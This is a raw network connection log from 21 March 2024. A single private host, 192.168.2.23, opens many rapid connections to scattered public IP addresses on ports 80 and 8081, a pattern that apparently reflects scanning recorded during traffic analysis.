Mar 21, 2024 05:25:10.932976961 CET	11720	8081	192.168.2.23	25.56.48.134
Mar 21, 2024 05:25:10.932981014 CET	10952	80	192.168.2.23	62.56.203.145
Mar 21, 2024 05:25:10.932981014 CET	11720	8081	192.168.2.23	170.48.26.63
Mar 21, 2024 05:25:10.932981014 CET	11720	8081	192.168.2.23	140.58.114.32
Mar 21, 2024 05:25:10.932981014 CET	10952	80	192.168.2.23	62.14.4.133
Mar 21, 2024 05:25:10.932981014 CET	11720	8081	192.168.2.23	142.99.160.199
Mar 21, 2024 05:25:10.932981014 CET	11720	8081	192.168.2.23	107.62.23.246
Mar 21, 2024 05:25:10.932981014 CET	10952	80	192.168.2.23	62.56.168.241
Mar 21, 2024 05:25:10.932984114 CET	10952	80	192.168.2.23	62.156.78.232
Mar 21, 2024 05:25:10.932984114 CET	10952	80	192.168.2.23	62.122.99.64
Mar 21, 2024 05:25:10.932984114 CET	10952	80	192.168.2.23	62.127.6.217
Mar 21, 2024 05:25:10.932984114 CET	11720	8081	192.168.2.23	88.49.123.176
Mar 21, 2024 05:25:10.932986975 CET	11720	8081	192.168.2.23	68.145.192.177
Mar 21, 2024 05:25:10.932986975 CET	11720	8081	192.168.2.23	204.115.45.147
Mar 21, 2024 05:25:10.932986975 CET	11720	8081	192.168.2.23	177.125.168.231
Mar 21, 2024 05:25:10.932986975 CET	10952	80	192.168.2.23	62.211.75.199
Mar 21, 2024 05:25:10.932986975 CET	11720	8081	192.168.2.23	204.80.28.99
Mar 21, 2024 05:25:10.932986975 CET	11720	8081	192.168.2.23	77.72.99.29
Mar 21, 2024 05:25:10.932986975 CET	11720	8081	192.168.2.23	211.146.4.107
Mar 21, 2024 05:25:10.932986975 CET	11720	8081	192.168.2.23	208.94.7.234
Mar 21, 2024 05:25:10.932986975 CET	11720	8081	192.168.2.23	134.8.181.224
Mar 21, 2024 05:25:10.932997942 CET	11720	8081	192.168.2.23	187.106.59.29
Mar 21, 2024 05:25:10.933002949 CET	11720	8081	192.168.2.23	78.214.13.85
Mar 21, 2024 05:25:10.933002949 CET	10952	80	192.168.2.23	62.35.29.162
Mar 21, 2024 05:25:10.933003902 CET	10952	80	192.168.2.23	62.231.106.93
Mar 21, 2024 05:25:10.933013916 CET	11720	8081	192.168.2.23	180.247.232.151
Mar 21, 2024 05:25:10.933015108 CET	10952	80	192.168.2.23	62.12.152.46
Mar 21, 2024 05:25:10.933015108 CET	11720	8081	192.168.2.23	177.49.51.184
Mar 21, 2024 05:25:10.933017969 CET	10952	80	192.168.2.23	62.150.7.23
Mar 21, 2024 05:25:10.933021069 CET	10952	80	192.168.2.23	62.190.255.200
Mar 21, 2024 05:25:10.933021069 CET	11720	8081	192.168.2.23	149.14.104.21
Mar 21, 2024 05:25:10.933021069 CET	11720	8081	192.168.2.23	152.123.192.207
Mar 21, 2024 05:25:10.933032036 CET	11720	8081	192.168.2.23	27.132.124.160
Mar 21, 2024 05:25:10.933032036 CET	10952	80	192.168.2.23	62.25.72.162
Mar 21, 2024 05:25:10.933032036 CET	10952	80	192.168.2.23	62.109.168.116
Mar 21, 2024 05:25:10.933037043 CET	11720	8081	192.168.2.23	104.133.52.218
Mar 21, 2024 05:25:10.933037043 CET	11720	8081	192.168.2.23	51.130.130.192
Mar 21, 2024 05:25:10.933037043 CET	11720	8081	192.168.2.23	61.253.166.9
Mar 21, 2024 05:25:10.933037043 CET	11720	8081	192.168.2.23	139.79.135.254
Mar 21, 2024 05:25:10.933037043 CET	10952	80	192.168.2.23	62.31.206.143
Mar 21, 2024 05:25:10.933041096 CET	11720	8081	192.168.2.23	161.202.202.203
Mar 21, 2024 05:25:10.933041096 CET	10952	80	192.168.2.23	62.189.132.116
Mar 21, 2024 05:25:10.933043957 CET	11720	8081	192.168.2.23	57.3.43.145
Mar 21, 2024 05:25:10.933043957 CET	11720	8081	192.168.2.23	171.100.210.253
Mar 21, 2024 05:25:10.933043957 CET	10952	80	192.168.2.23	62.165.107.226
Mar 21, 2024 05:25:10.933048010 CET	10952	80	192.168.2.23	62.8.122.153
Mar 21, 2024 05:25:10.933048010 CET	11720	8081	192.168.2.23	123.99.130.153
Mar 21, 2024 05:25:10.933048964 CET	10952	80	192.168.2.23	62.43.91.251
Mar 21, 2024 05:25:10.933048010 CET	10952	80	192.168.2.23	62.226.222.218
Mar 21, 2024 05:25:10.933049917 CET	10952	80	192.168.2.23	62.60.101.194
Mar 21, 2024 05:25:10.933048964 CET	11720	8081	192.168.2.23	100.60.90.120
Mar 21, 2024 05:25:10.933049917 CET	11720	8081	192.168.2.23	216.77.137.19
Mar 21, 2024 05:25:10.933048010 CET	11720	8081	192.168.2.23	92.170.32.160
Mar 21, 2024 05:25:10.933048964 CET	11720	8081	192.168.2.23	222.71.32.84
Mar 21, 2024 05:25:10.933049917 CET	11720	8081	192.168.2.23	137.1.252.251
Mar 21, 2024 05:25:10.933048010 CET	11720	8081	192.168.2.23	165.242.113.73
Mar 21, 2024 05:25:10.933049917 CET	11720	8081	192.168.2.23	74.184.234.36
Mar 21, 2024 05:25:10.933049917 CET	10952	80	192.168.2.23	62.94.133.83
Mar 21, 2024 05:25:10.933049917 CET	11720	8081	192.168.2.23	126.167.53.169
Mar 21, 2024 05:25:10.933064938 CET	11720	8081	192.168.2.23	46.86.75.237
Mar 21, 2024 05:25:10.933064938 CET	11720	8081	192.168.2.23	37.86.135.153
Mar 21, 2024 05:25:10.933082104 CET	11720	8081	192.168.2.23	103.189.252.251
Mar 21, 2024 05:25:10.933082104 CET	11720	8081	192.168.2.23	180.17.28.118
Mar 21, 2024 05:25:10.933082104 CET	11720	8081	192.168.2.23	136.196.2.116
Mar 21, 2024 05:25:10.933082104 CET	11720	8081	192.168.2.23	154.78.20.220
Mar 21, 2024 05:25:10.933082104 CET	10952	80	192.168.2.23	62.239.118.13
Mar 21, 2024 05:25:10.933082104 CET	11720	8081	192.168.2.23	99.240.71.160
Mar 21, 2024 05:25:10.933082104 CET	11720	8081	192.168.2.23	31.231.177.185
Mar 21, 2024 05:25:10.933084011 CET	11720	8081	192.168.2.23	116.191.242.122
Mar 21, 2024 05:25:10.933084965 CET	10952	80	192.168.2.23	62.188.203.250
Mar 21, 2024 05:25:10.933088064 CET	11720	8081	192.168.2.23	194.84.72.22
Mar 21, 2024 05:25:10.933088064 CET	11720	8081	192.168.2.23	114.27.134.226
Mar 21, 2024 05:25:10.933088064 CET	10952	80	192.168.2.23	62.172.98.108
Mar 21, 2024 05:25:10.933089018 CET	10952	80	192.168.2.23	62.61.213.110
Mar 21, 2024 05:25:10.933089018 CET	11720	8081	192.168.2.23	156.246.189.9
Mar 21, 2024 05:25:10.933089018 CET	11720	8081	192.168.2.23	44.154.252.61
Mar 21, 2024 05:25:10.933089018 CET	11720	8081	192.168.2.23	158.111.193.176
Mar 21, 2024 05:25:10.933098078 CET	11720	8081	192.168.2.23	103.100.169.62
Mar 21, 2024 05:25:10.933098078 CET	10952	80	192.168.2.23	62.2.254.36
Mar 21, 2024 05:25:10.933098078 CET	11720	8081	192.168.2.23	161.158.125.56
Mar 21, 2024 05:25:10.933098078 CET	11720	8081	192.168.2.23	14.227.181.175
Mar 21, 2024 05:25:10.933098078 CET	10952	80	192.168.2.23	62.68.88.206
Mar 21, 2024 05:25:10.933098078 CET	10952	80	192.168.2.23	62.82.240.68
Mar 21, 2024 05:25:10.933098078 CET	11720	8081	192.168.2.23	166.60.124.86
Mar 21, 2024 05:25:10.933098078 CET	10952	80	192.168.2.23	62.199.182.135
Mar 21, 2024 05:25:10.933100939 CET	11720	8081	192.168.2.23	189.151.225.118
Mar 21, 2024 05:25:10.933100939 CET	10952	80	192.168.2.23	62.47.57.225
Mar 21, 2024 05:25:10.933100939 CET	10952	80	192.168.2.23	62.71.110.221
Mar 21, 2024 05:25:10.933100939 CET	11720	8081	192.168.2.23	207.58.58.53
Mar 21, 2024 05:25:10.933100939 CET	10952	80	192.168.2.23	62.32.143.167
Mar 21, 2024 05:25:10.933100939 CET	10952	80	192.168.2.23	62.52.173.48
Mar 21, 2024 05:25:10.933100939 CET	10952	80	192.168.2.23	62.247.1.212
Mar 21, 2024 05:25:10.933100939 CET	10952	80	192.168.2.23	62.33.89.45
Mar 21, 2024 05:25:10.933100939 CET	11720	8081	192.168.2.23	47.164.153.111
Mar 21, 2024 05:25:10.933100939 CET	10952	80	192.168.2.23	62.22.127.2
Mar 21, 2024 05:25:10.933120966 CET	10952	80	192.168.2.23	62.192.239.249
Mar 21, 2024 05:25:10.933152914 CET	11720	8081	192.168.2.23	171.102.89.125
Mar 21, 2024 05:25:10.933152914 CET	11720	8081	192.168.2.23	223.10.117.247
Mar 21, 2024 05:25:10.933152914 CET	11720	8081	192.168.2.23	183.108.184.111
Mar 21, 2024 05:25:10.933152914 CET	11720	8081	192.168.2.23	88.167.176.93
Mar 21, 2024 05:25:10.933152914 CET	11720	8081	192.168.2.23	223.131.76.253
Mar 21, 2024 05:25:10.933152914 CET	10952	80	192.168.2.23	62.76.171.108
Mar 21, 2024 05:25:10.933161974 CET	11720	8081	192.168.2.23	25.86.197.158
Mar 21, 2024 05:25:10.933161974 CET	10952	80	192.168.2.23	62.6.149.171
Mar 21, 2024 05:25:10.933161974 CET	10952	80	192.168.2.23	62.145.101.61
Mar 21, 2024 05:25:10.933161974 CET	10952	80	192.168.2.23	62.75.232.214
Mar 21, 2024 05:25:10.933165073 CET	10952	80	192.168.2.23	62.0.64.159
Mar 21, 2024 05:25:10.933165073 CET	11720	8081	192.168.2.23	146.49.138.99
Mar 21, 2024 05:25:10.933165073 CET	11720	8081	192.168.2.23	96.25.64.106
Mar 21, 2024 05:25:10.933166981 CET	10952	80	192.168.2.23	62.67.73.203
Mar 21, 2024 05:25:10.933166981 CET	11720	8081	192.168.2.23	165.108.216.253
Mar 21, 2024 05:25:10.933171034 CET	11720	8081	192.168.2.23	180.92.87.122
Mar 21, 2024 05:25:10.933171034 CET	11720	8081	192.168.2.23	80.94.216.15
Mar 21, 2024 05:25:10.933171034 CET	11720	8081	192.168.2.23	12.12.220.38
Mar 21, 2024 05:25:10.933171988 CET	11720	8081	192.168.2.23	1.139.230.56
Mar 21, 2024 05:25:10.933171988 CET	11720	8081	192.168.2.23	179.16.184.254
Mar 21, 2024 05:25:10.933171034 CET	11720	8081	192.168.2.23	195.216.136.48
Mar 21, 2024 05:25:10.933171988 CET	11720	8081	192.168.2.23	147.43.105.48
Mar 21, 2024 05:25:10.933171034 CET	11720	8081	192.168.2.23	39.178.55.60
Mar 21, 2024 05:25:10.933171988 CET	11720	8081	192.168.2.23	52.222.10.73
Mar 21, 2024 05:25:10.933171034 CET	11720	8081	192.168.2.23	119.103.244.206
Mar 21, 2024 05:25:10.933186054 CET	11720	8081	192.168.2.23	173.211.84.5
Mar 21, 2024 05:25:10.933186054 CET	11720	8081	192.168.2.23	52.122.92.108
Mar 21, 2024 05:25:10.933186054 CET	11720	8081	192.168.2.23	53.169.145.80
Mar 21, 2024 05:25:10.933186054 CET	11720	8081	192.168.2.23	176.153.87.49
Mar 21, 2024 05:25:10.933186054 CET	11720	8081	192.168.2.23	147.187.209.68
Mar 21, 2024 05:25:10.933186054 CET	11720	8081	192.168.2.23	167.107.111.187
Mar 21, 2024 05:25:10.933186054 CET	10952	80	192.168.2.23	62.46.59.177
Mar 21, 2024 05:25:10.933186054 CET	11720	8081	192.168.2.23	54.166.76.97
Mar 21, 2024 05:25:10.933192968 CET	10952	80	192.168.2.23	62.244.127.15
Mar 21, 2024 05:25:10.933192968 CET	11720	8081	192.168.2.23	169.241.135.106
Mar 21, 2024 05:25:10.933192968 CET	10952	80	192.168.2.23	62.41.12.79
Mar 21, 2024 05:25:10.933196068 CET	11720	8081	192.168.2.23	17.125.61.142
Mar 21, 2024 05:25:10.933212996 CET	11720	8081	192.168.2.23	176.171.121.0
Mar 21, 2024 05:25:10.933212996 CET	11720	8081	192.168.2.23	137.73.141.116
Mar 21, 2024 05:25:10.933212996 CET	10952	80	192.168.2.23	62.99.100.54
Mar 21, 2024 05:25:10.933212996 CET	11720	8081	192.168.2.23	216.45.163.241
Mar 21, 2024 05:25:10.933212996 CET	10952	80	192.168.2.23	62.139.237.164
Mar 21, 2024 05:25:10.933212996 CET	10952	80	192.168.2.23	62.85.159.98
Mar 21, 2024 05:25:10.933212996 CET	11720	8081	192.168.2.23	151.226.136.53
Mar 21, 2024 05:25:10.933226109 CET	11720	8081	192.168.2.23	104.121.65.83
Mar 21, 2024 05:25:10.933226109 CET	11720	8081	192.168.2.23	20.54.51.61
Mar 21, 2024 05:25:10.933226109 CET	11720	8081	192.168.2.23	94.222.190.210
Mar 21, 2024 05:25:10.933233023 CET	11720	8081	192.168.2.23	177.25.46.229
Mar 21, 2024 05:25:10.933233023 CET	10952	80	192.168.2.23	62.54.176.206
Mar 21, 2024 05:25:10.933233976 CET	11720	8081	192.168.2.23	206.94.22.70
Mar 21, 2024 05:25:10.933233976 CET	10952	80	192.168.2.23	62.64.133.55
Mar 21, 2024 05:25:10.933235884 CET	11720	8081	192.168.2.23	203.237.128.183
Mar 21, 2024 05:25:10.933250904 CET	10952	80	192.168.2.23	62.21.107.29
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	175.234.8.50
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	166.102.119.204
Mar 21, 2024 05:25:10.933250904 CET	10952	80	192.168.2.23	62.9.153.208
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	60.92.209.44
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	81.255.66.20
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	102.208.229.38
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	74.131.90.197
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	70.144.141.28
Mar 21, 2024 05:25:10.933250904 CET	10952	80	192.168.2.23	62.198.199.154
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	146.90.6.7
Mar 21, 2024 05:25:10.933250904 CET	10952	80	192.168.2.23	62.103.121.62
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	176.108.104.21
Mar 21, 2024 05:25:10.933255911 CET	10952	80	192.168.2.23	62.48.228.61
Mar 21, 2024 05:25:10.933257103 CET	10952	80	192.168.2.23	62.114.133.67
Mar 21, 2024 05:25:10.933250904 CET	11720	8081	192.168.2.23	32.106.192.79
Mar 21, 2024 05:25:10.933257103 CET	10952	80	192.168.2.23	62.40.182.59
Mar 21, 2024 05:25:10.933263063 CET	11720	8081	192.168.2.23	114.122.17.175
Mar 21, 2024 05:25:10.933270931 CET	10952	80	192.168.2.23	62.181.207.236
Mar 21, 2024 05:25:10.933270931 CET	11720	8081	192.168.2.23	136.178.176.167
Mar 21, 2024 05:25:10.933275938 CET	11720	8081	192.168.2.23	129.5.216.187
Mar 21, 2024 05:25:10.933279037 CET	11720	8081	192.168.2.23	106.152.13.168
Mar 21, 2024 05:25:10.933279991 CET	10952	80	192.168.2.23	62.183.253.132
Mar 21, 2024 05:25:10.933275938 CET	10952	80	192.168.2.23	62.206.146.183
Mar 21, 2024 05:25:10.933279037 CET	10952	80	192.168.2.23	62.48.112.242
Mar 21, 2024 05:25:10.933279991 CET	10952	80	192.168.2.23	62.108.122.229
Mar 21, 2024 05:25:10.933283091 CET	10952	80	192.168.2.23	62.60.162.139
Mar 21, 2024 05:25:10.933283091 CET	10952	80	192.168.2.23	62.230.76.253
Mar 21, 2024 05:25:10.933283091 CET	10952	80	192.168.2.23	62.118.135.150
Mar 21, 2024 05:25:10.933288097 CET	11720	8081	192.168.2.23	109.96.216.131
Mar 21, 2024 05:25:10.933288097 CET	10952	80	192.168.2.23	62.156.30.231
Mar 21, 2024 05:25:10.933288097 CET	11720	8081	192.168.2.23	160.60.102.77
Mar 21, 2024 05:25:10.933288097 CET	10952	80	192.168.2.23	62.117.65.115
Mar 21, 2024 05:25:10.933288097 CET	11720	8081	192.168.2.23	45.154.26.229
Mar 21, 2024 05:25:10.933288097 CET	11720	8081	192.168.2.23	163.38.47.213
Mar 21, 2024 05:25:10.933288097 CET	11720	8081	192.168.2.23	185.85.180.191
Mar 21, 2024 05:25:10.933288097 CET	10952	80	192.168.2.23	62.136.116.160
Mar 21, 2024 05:25:10.933300972 CET	10952	80	192.168.2.23	62.231.68.229
Mar 21, 2024 05:25:10.933301926 CET	10952	80	192.168.2.23	62.249.120.106
Mar 21, 2024 05:25:10.933314085 CET	11720	8081	192.168.2.23	39.19.87.58
Mar 21, 2024 05:25:10.933314085 CET	10952	80	192.168.2.23	62.62.44.67
Mar 21, 2024 05:25:10.933314085 CET	11720	8081	192.168.2.23	194.240.186.74
Mar 21, 2024 05:25:10.933314085 CET	10952	80	192.168.2.23	62.8.176.182
Mar 21, 2024 05:25:10.933314085 CET	10952	80	192.168.2.23	62.157.113.185
Mar 21, 2024 05:25:10.933317900 CET	10952	80	192.168.2.23	62.206.46.25
Mar 21, 2024 05:25:10.933324099 CET	10952	80	192.168.2.23	62.41.120.9
Mar 21, 2024 05:25:10.933343887 CET	10952	80	192.168.2.23	62.57.200.159
Mar 21, 2024 05:25:10.933343887 CET	10952	80	192.168.2.23	62.121.217.90
Mar 21, 2024 05:25:10.933346987 CET	10952	80	192.168.2.23	62.148.169.83
Mar 21, 2024 05:25:10.933356047 CET	10952	80	192.168.2.23	62.183.135.111
Mar 21, 2024 05:25:10.933366060 CET	10952	80	192.168.2.23	62.40.29.219
Mar 21, 2024 05:25:10.933367014 CET	10952	80	192.168.2.23	62.37.84.239
Mar 21, 2024 05:25:10.933367014 CET	10952	80	192.168.2.23	62.149.99.119
Mar 21, 2024 05:25:10.933370113 CET	10952	80	192.168.2.23	62.96.124.77
Mar 21, 2024 05:25:10.933376074 CET	10952	80	192.168.2.23	62.91.7.170
Mar 21, 2024 05:25:10.933387041 CET	10952	80	192.168.2.23	62.199.205.205
Mar 21, 2024 05:25:10.933397055 CET	10952	80	192.168.2.23	62.26.134.194
Mar 21, 2024 05:25:10.933397055 CET	10952	80	192.168.2.23	62.123.93.171
Mar 21, 2024 05:25:10.933398008 CET	10952	80	192.168.2.23	62.194.78.92
Mar 21, 2024 05:25:10.933412075 CET	10952	80	192.168.2.23	62.11.84.70
Mar 21, 2024 05:25:10.933423042 CET	10952	80	192.168.2.23	62.8.110.129
Mar 21, 2024 05:25:10.933424950 CET	10952	80	192.168.2.23	62.186.49.203
Mar 21, 2024 05:25:10.933444977 CET	10952	80	192.168.2.23	62.154.198.233
Mar 21, 2024 05:25:10.933445930 CET	10952	80	192.168.2.23	62.23.6.95
Mar 21, 2024 05:25:10.933445930 CET	10952	80	192.168.2.23	62.119.207.234
Mar 21, 2024 05:25:10.933464050 CET	10952	80	192.168.2.23	62.130.108.176
Mar 21, 2024 05:25:10.933465958 CET	10952	80	192.168.2.23	62.167.145.126
Mar 21, 2024 05:25:10.933468103 CET	10952	80	192.168.2.23	62.93.180.219
Mar 21, 2024 05:25:10.933473110 CET	10952	80	192.168.2.23	62.114.185.103
Mar 21, 2024 05:25:10.933487892 CET	10952	80	192.168.2.23	62.200.249.247
Mar 21, 2024 05:25:10.933495998 CET	10952	80	192.168.2.23	62.128.33.242
Mar 21, 2024 05:25:10.933496952 CET	10952	80	192.168.2.23	62.12.17.163
Mar 21, 2024 05:25:10.933507919 CET	10952	80	192.168.2.23	62.81.215.23
Mar 21, 2024 05:25:10.933511019 CET	10952	80	192.168.2.23	62.222.0.30
Mar 21, 2024 05:25:10.933512926 CET	10952	80	192.168.2.23	62.86.57.14
Mar 21, 2024 05:25:10.933523893 CET	10952	80	192.168.2.23	62.62.175.239
Mar 21, 2024 05:25:10.933528900 CET	10952	80	192.168.2.23	62.112.225.203
Mar 21, 2024 05:25:10.933532000 CET	10952	80	192.168.2.23	62.79.87.79
Mar 21, 2024 05:25:10.933542013 CET	10952	80	192.168.2.23	62.211.67.24
Mar 21, 2024 05:25:10.933546066 CET	10952	80	192.168.2.23	62.253.71.229
Mar 21, 2024 05:25:10.933546066 CET	10952	80	192.168.2.23	62.105.253.56
Mar 21, 2024 05:25:10.933557034 CET	10952	80	192.168.2.23	62.41.147.11
Mar 21, 2024 05:25:10.933561087 CET	10952	80	192.168.2.23	62.69.91.131
Mar 21, 2024 05:25:10.933562040 CET	10952	80	192.168.2.23	62.54.88.239
Mar 21, 2024 05:25:10.933562040 CET	10952	80	192.168.2.23	62.81.199.121
Mar 21, 2024 05:25:10.933578014 CET	10952	80	192.168.2.23	62.25.83.157
Mar 21, 2024 05:25:10.933581114 CET	10952	80	192.168.2.23	62.4.43.151
Mar 21, 2024 05:25:10.933588982 CET	10952	80	192.168.2.23	62.9.255.177
Mar 21, 2024 05:25:10.933588982 CET	10952	80	192.168.2.23	62.158.246.158
Mar 21, 2024 05:25:10.933590889 CET	10952	80	192.168.2.23	62.146.125.114
Mar 21, 2024 05:25:10.933598995 CET	10952	80	192.168.2.23	62.74.191.165
Mar 21, 2024 05:25:10.933604956 CET	10952	80	192.168.2.23	62.62.118.45
Mar 21, 2024 05:25:10.933612108 CET	10952	80	192.168.2.23	62.178.95.99
Mar 21, 2024 05:25:10.933617115 CET	10952	80	192.168.2.23	62.66.38.64
Mar 21, 2024 05:25:10.933625937 CET	10952	80	192.168.2.23	62.253.154.145
Mar 21, 2024 05:25:10.933631897 CET	10952	80	192.168.2.23	62.173.20.227
Mar 21, 2024 05:25:10.933634996 CET	10952	80	192.168.2.23	62.38.242.224
Mar 21, 2024 05:25:10.933651924 CET	10952	80	192.168.2.23	62.95.20.155
Mar 21, 2024 05:25:10.933660984 CET	10952	80	192.168.2.23	62.192.33.207
Mar 21, 2024 05:25:10.933662891 CET	10952	80	192.168.2.23	62.75.187.133
Mar 21, 2024 05:25:10.933662891 CET	10952	80	192.168.2.23	62.16.91.122
Mar 21, 2024 05:25:10.933676004 CET	10952	80	192.168.2.23	62.73.86.5
Mar 21, 2024 05:25:10.933676958 CET	10952	80	192.168.2.23	62.132.125.2
Mar 21, 2024 05:25:10.933679104 CET	10952	80	192.168.2.23	62.158.145.214
Mar 21, 2024 05:25:10.933696985 CET	10952	80	192.168.2.23	62.88.235.70
Mar 21, 2024 05:25:10.933698893 CET	10952	80	192.168.2.23	62.199.178.241
Mar 21, 2024 05:25:10.933698893 CET	10952	80	192.168.2.23	62.131.194.250
Mar 21, 2024 05:25:10.933701038 CET	10952	80	192.168.2.23	62.214.165.177
Mar 21, 2024 05:25:10.933703899 CET	10952	80	192.168.2.23	62.147.182.181
Mar 21, 2024 05:25:10.933712959 CET	10952	80	192.168.2.23	62.161.81.17
Mar 21, 2024 05:25:10.933720112 CET	10952	80	192.168.2.23	62.197.190.89
Mar 21, 2024 05:25:10.933726072 CET	10952	80	192.168.2.23	62.75.202.247
Mar 21, 2024 05:25:10.933726072 CET	10952	80	192.168.2.23	62.75.45.180
Mar 21, 2024 05:25:10.933736086 CET	10952	80	192.168.2.23	62.48.139.5
Mar 21, 2024 05:25:10.933737040 CET	10952	80	192.168.2.23	62.105.81.94
Mar 21, 2024 05:25:10.933743000 CET	10952	80	192.168.2.23	62.99.149.140
Mar 21, 2024 05:25:10.933756113 CET	10952	80	192.168.2.23	62.58.83.182
Mar 21, 2024 05:25:10.933763981 CET	10952	80	192.168.2.23	62.111.115.58
Mar 21, 2024 05:25:10.933764935 CET	10952	80	192.168.2.23	62.178.114.217
Mar 21, 2024 05:25:10.933764935 CET	10952	80	192.168.2.23	62.123.70.147
Mar 21, 2024 05:25:10.933768034 CET	10952	80	192.168.2.23	62.89.95.199
Mar 21, 2024 05:25:10.933784962 CET	10952	80	192.168.2.23	62.29.150.50
Mar 21, 2024 05:25:10.933790922 CET	10952	80	192.168.2.23	62.153.200.9
Mar 21, 2024 05:25:10.933790922 CET	10952	80	192.168.2.23	62.168.24.117
Mar 21, 2024 05:25:10.933793068 CET	10952	80	192.168.2.23	62.5.159.59
Mar 21, 2024 05:25:10.933806896 CET	10952	80	192.168.2.23	62.88.237.123
Mar 21, 2024 05:25:10.933809996 CET	10952	80	192.168.2.23	62.10.59.108
Mar 21, 2024 05:25:10.933834076 CET	10952	80	192.168.2.23	62.6.42.132
Mar 21, 2024 05:25:10.933840036 CET	10952	80	192.168.2.23	62.41.54.25
Mar 21, 2024 05:25:10.933840990 CET	10952	80	192.168.2.23	62.176.71.194
Mar 21, 2024 05:25:10.933840036 CET	10952	80	192.168.2.23	62.1.216.110
Mar 21, 2024 05:25:10.933840990 CET	10952	80	192.168.2.23	62.50.31.214
Mar 21, 2024 05:25:10.933845043 CET	10952	80	192.168.2.23	62.212.124.218
Mar 21, 2024 05:25:10.933849096 CET	10952	80	192.168.2.23	62.116.166.184
Mar 21, 2024 05:25:10.933850050 CET	10952	80	192.168.2.23	62.1.183.218
Mar 21, 2024 05:25:10.933861971 CET	10952	80	192.168.2.23	62.30.240.173
Mar 21, 2024 05:25:10.933866978 CET	10952	80	192.168.2.23	62.34.136.60
Mar 21, 2024 05:25:10.933871984 CET	10952	80	192.168.2.23	62.201.202.234
Mar 21, 2024 05:25:10.933872938 CET	10952	80	192.168.2.23	62.174.195.19
Mar 21, 2024 05:25:10.933892965 CET	10952	80	192.168.2.23	62.19.31.224
Mar 21, 2024 05:25:10.933892965 CET	10952	80	192.168.2.23	62.30.44.147
Mar 21, 2024 05:25:10.933897972 CET	10952	80	192.168.2.23	62.12.52.56
Mar 21, 2024 05:25:10.933909893 CET	10952	80	192.168.2.23	62.28.134.120
Mar 21, 2024 05:25:10.933918953 CET	10952	80	192.168.2.23	62.210.255.254
Mar 21, 2024 05:25:10.933922052 CET	10952	80	192.168.2.23	62.170.4.48
Mar 21, 2024 05:25:10.933931112 CET	10952	80	192.168.2.23	62.245.169.225
Mar 21, 2024 05:25:10.933932066 CET	10952	80	192.168.2.23	62.85.94.184
Mar 21, 2024 05:25:10.933933973 CET	10952	80	192.168.2.23	62.218.148.203
Mar 21, 2024 05:25:10.933939934 CET	10952	80	192.168.2.23	62.98.68.155
Mar 21, 2024 05:25:10.933948040 CET	10952	80	192.168.2.23	62.93.111.166
Mar 21, 2024 05:25:10.933957100 CET	10952	80	192.168.2.23	62.236.67.68
Mar 21, 2024 05:25:10.933957100 CET	10952	80	192.168.2.23	62.88.28.38
Mar 21, 2024 05:25:10.933959007 CET	10952	80	192.168.2.23	62.80.38.213
Mar 21, 2024 05:25:10.933974028 CET	10952	80	192.168.2.23	62.10.185.141
Mar 21, 2024 05:25:10.933974028 CET	10952	80	192.168.2.23	62.177.158.26
Mar 21, 2024 05:25:10.933984995 CET	10952	80	192.168.2.23	62.191.95.111
Mar 21, 2024 05:25:10.933990002 CET	10952	80	192.168.2.23	62.17.172.87
Mar 21, 2024 05:25:10.933993101 CET	10952	80	192.168.2.23	62.251.202.82
Mar 21, 2024 05:25:10.933995008 CET	10952	80	192.168.2.23	62.220.14.66
Mar 21, 2024 05:25:10.934003115 CET	10952	80	192.168.2.23	62.253.68.110
Mar 21, 2024 05:25:10.934017897 CET	10952	80	192.168.2.23	62.224.173.80
Mar 21, 2024 05:25:10.934017897 CET	10952	80	192.168.2.23	62.138.164.193
Mar 21, 2024 05:25:10.934031010 CET	10952	80	192.168.2.23	62.247.241.175
Mar 21, 2024 05:25:10.934036016 CET	10952	80	192.168.2.23	62.113.225.192
Mar 21, 2024 05:25:10.934041977 CET	10952	80	192.168.2.23	62.46.32.144
Mar 21, 2024 05:25:10.934055090 CET	10952	80	192.168.2.23	62.18.79.45
Mar 21, 2024 05:25:10.934055090 CET	10952	80	192.168.2.23	62.66.140.121
Mar 21, 2024 05:25:10.934070110 CET	10952	80	192.168.2.23	62.168.144.186
Mar 21, 2024 05:25:10.934077978 CET	10952	80	192.168.2.23	62.114.220.56
Mar 21, 2024 05:25:10.934077978 CET	10952	80	192.168.2.23	62.45.82.54
Mar 21, 2024 05:25:10.934082031 CET	10952	80	192.168.2.23	62.57.225.5
Mar 21, 2024 05:25:10.934088945 CET	10952	80	192.168.2.23	62.27.200.85
Mar 21, 2024 05:25:10.934096098 CET	10952	80	192.168.2.23	62.181.65.41
Mar 21, 2024 05:25:10.934108019 CET	10952	80	192.168.2.23	62.165.9.88
Mar 21, 2024 05:25:10.934117079 CET	10952	80	192.168.2.23	62.172.44.72
Mar 21, 2024 05:25:10.934118032 CET	10952	80	192.168.2.23	62.27.203.26
Mar 21, 2024 05:25:10.934118986 CET	10952	80	192.168.2.23	62.117.1.107
Mar 21, 2024 05:25:10.934140921 CET	10952	80	192.168.2.23	62.202.85.156
Mar 21, 2024 05:25:10.934144020 CET	10952	80	192.168.2.23	62.144.100.149
Mar 21, 2024 05:25:10.934144974 CET	10952	80	192.168.2.23	62.153.220.148
Mar 21, 2024 05:25:10.934148073 CET	10952	80	192.168.2.23	62.156.208.104
Mar 21, 2024 05:25:10.934159040 CET	10952	80	192.168.2.23	62.43.243.192
Mar 21, 2024 05:25:10.934164047 CET	10952	80	192.168.2.23	62.112.65.216
Mar 21, 2024 05:25:10.934176922 CET	10952	80	192.168.2.23	62.21.45.147
Mar 21, 2024 05:25:10.934179068 CET	11464	80	192.168.2.23	168.215.79.182
Mar 21, 2024 05:25:10.934185028 CET	10952	80	192.168.2.23	62.126.28.95
Mar 21, 2024 05:25:10.934186935 CET	10952	80	192.168.2.23	62.99.168.169
Mar 21, 2024 05:25:10.934196949 CET	10952	80	192.168.2.23	62.19.249.4
Mar 21, 2024 05:25:10.934212923 CET	10952	80	192.168.2.23	62.11.108.19
Mar 21, 2024 05:25:10.934214115 CET	11464	80	192.168.2.23	82.223.246.184
